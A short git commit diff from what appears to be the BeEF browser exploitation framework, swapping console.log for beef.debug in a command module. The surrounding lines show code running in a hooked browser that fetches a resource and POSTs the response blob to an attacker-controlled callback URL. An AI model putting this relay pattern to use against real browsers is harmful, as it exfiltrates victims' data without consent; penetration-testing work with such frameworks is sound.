Replace console.log with beef.debug

This commit is contained in:
Brendan Coles
2015-07-19 10:36:59 +00:00
parent 799e5d9626
commit 1f00c396c6

View File

@@ -27,7 +27,7 @@ beef.execute(function() {
xhr.responseType = 'arraybuffer'
xhr.onload = function(e) {
var blob = new Blob([this.response], {type: this.getResponseHeader('Content-Type')});
console.log(blob);
beef.debug(blob);
xhr_cb = new XMLHttpRequest();
xhr_cb.open('POST', url_callback+'que=req&&path='+path, false);
xhr_cb.send(blob);